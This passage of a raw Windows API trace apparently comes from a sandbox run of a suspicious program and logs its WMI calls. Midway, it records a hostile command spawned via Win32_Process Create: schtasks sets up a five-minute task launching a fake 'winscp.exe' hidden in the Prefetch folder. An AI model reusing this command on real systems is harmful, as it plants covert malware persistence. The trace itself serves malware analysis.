[5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.566] WbemDefPath:IUnknown:Release (This=0x1c0008e0) returned 0x3 [0078.566] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0078.566] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0078.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0078.566] WbemDefPath:IUnknown:Release (This=0x1bfbc840) returned 0x2 [0078.566] WbemDefPath:IUnknown:Release (This=0x1bfbc840) returned 0x1 [0078.566] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0078.566] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0078.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc840, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bfbc840) returned 0x0 [0078.567] WbemDefPath:IUnknown:AddRef (This=0x1bfbc840) returned 0x3 [0078.567] WbemDefPath:IUnknown:Release (This=0x1bfbc840) returned 0x2 [0078.567] WbemDefPath:IWbemPath:SetText (This=0x1bfbc840, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0078.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0078.567] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0078.567] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.567] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0078.567] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0078.567] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0078.567] IUnknown:Release (This=0x111f638) returned 0x1 [0078.572] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c000920) returned 0x0 [0078.572] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000920, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0078.572] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000920, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbc900) returned 0x0 [0078.572] WbemDefPath:IUnknown:Release (This=0x1c000920) returned 0x0 [0078.572] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbc900) returned 0x0 [0078.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0078.573] WbemDefPath:IUnknown:AddRef (This=0x1bfbc900) returned 0x3 [0078.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0078.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0078.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c000960) returned 0x0 [0078.573] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.573] WbemDefPath:IUnknown:Release (This=0x1c000960) returned 0x3 [0078.573] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0078.574] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0078.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0078.574] WbemDefPath:IUnknown:Release (This=0x1bfbc900) returned 0x2 [0078.574] WbemDefPath:IUnknown:Release (This=0x1bfbc900) returned 0x1 [0078.574] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0078.574] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0078.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc900, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbc900) returned 0x0 [0078.574] WbemDefPath:IUnknown:AddRef (This=0x1bfbc900) returned 0x3 [0078.574] WbemDefPath:IUnknown:Release (This=0x1bfbc900) returned 0x2 [0078.574] WbemDefPath:IWbemPath:SetText (This=0x1bfbc900, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0078.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc840, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0078.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc900, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc900, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc900, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0078.575] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbc840) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc900, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc900, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc900, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0078.575] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc840, uIndex=0x0, pszName="root") returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc900, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc900, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0078.575] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc840, uIndex=0x1, pszName="cimv2") returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc900, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc900, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc840, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc840, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc840, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0078.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc840, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc840, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc840, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc840, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0078.576] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc840, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0078.576] IWbemServices:GetObject (in: This=0x1bfbaf70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1170420, ppCallResult=0x0) returned 0x0 [0078.581] IWbemClassObject:GetMethod (in: This=0x1170420, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1170790, ppOutSignature=0x1b2fd9e0*=0x1170b00) returned 0x0 [0078.581] IWbemClassObject:SpawnInstance (in: This=0x1170790, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6c4b0) returned 0x0 [0078.582] IWbemClassObject:Get (in: This=0x1bf6c4b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94498*=0, plFlavor=0x2a9449c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94498*=8, plFlavor=0x2a9449c*=32) returned 0x0 [0078.582] IWbemClassObject:Get (in: This=0x1bf6c4b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94498*=8, plFlavor=0x2a9449c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94498*=8, plFlavor=0x2a9449c*=32) returned 0x0 [0078.582] IWbemClassObject:Put (This=0x1bf6c4b0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 5 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0078.582] IWbemClassObject:Get (in: This=0x1bf6c4b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94528*=0, plFlavor=0x2a9452c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94528*=13, plFlavor=0x2a9452c*=32) returned 0x0 [0078.582] IWbemClassObject:Get (in: This=0x1bf6c4b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94528*=13, plFlavor=0x2a9452c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94528*=13, plFlavor=0x2a9452c*=32) returned 0x0 [0078.582] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x116fd40) returned 0x0 [0078.583] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0078.583] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0078.583] IUnknown:AddRef (This=0x116fd40) returned 0x3 [0078.583] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0078.583] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0078.583] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x116fd48) returned 0x0 [0078.583] IMarshal:GetUnmarshalClass (in: This=0x116fd48, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0078.583] IUnknown:Release (This=0x116fd48) returned 0x3 [0078.583] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0078.584] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0078.584] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0078.584] IUnknown:Release (This=0x116fd40) returned 0x2 [0078.584] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0078.584] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0078.584] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0078.584] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0078.584] IUnknown:QueryInterface (in: This=0x116fd40, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0078.584] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0078.584] IUnknown:AddRef (This=0x116fd40) returned 0x3 [0078.584] IWbemClassObject:Put (This=0x1bf6c4b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x116fd40, varVal2=0x0), Type=0) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc540, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc540, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc540, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc540, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0078.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc540, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0078.585] IWbemServices:ExecMethod (in: This=0x1bfbaf70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6c4b0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6c760, ppCallResult=0x0) returned 0x0 [0078.713] IWbemClassObject:Get (in: This=0x1bf6c760, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94840*=0, plFlavor=0x2a94844*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xccc, varVal2=0x0), pType=0x2a94840*=19, plFlavor=0x2a94844*=0) returned 0x0 [0078.714] IWbemClassObject:Get (in: This=0x1bf6c760, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a94840*=19, plFlavor=0x2a94844*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xccc, varVal2=0x0), pType=0x2a94840*=19, plFlavor=0x2a94844*=0) returned 0x0 [0078.714] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0078.714] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0078.715] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0078.715] IUnknown:Release (This=0x111f638) returned 0x1 [0078.717] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c000b60) returned 0x0 [0078.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000b60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0078.717] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000b60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbc9c0) returned 0x0 [0078.717] 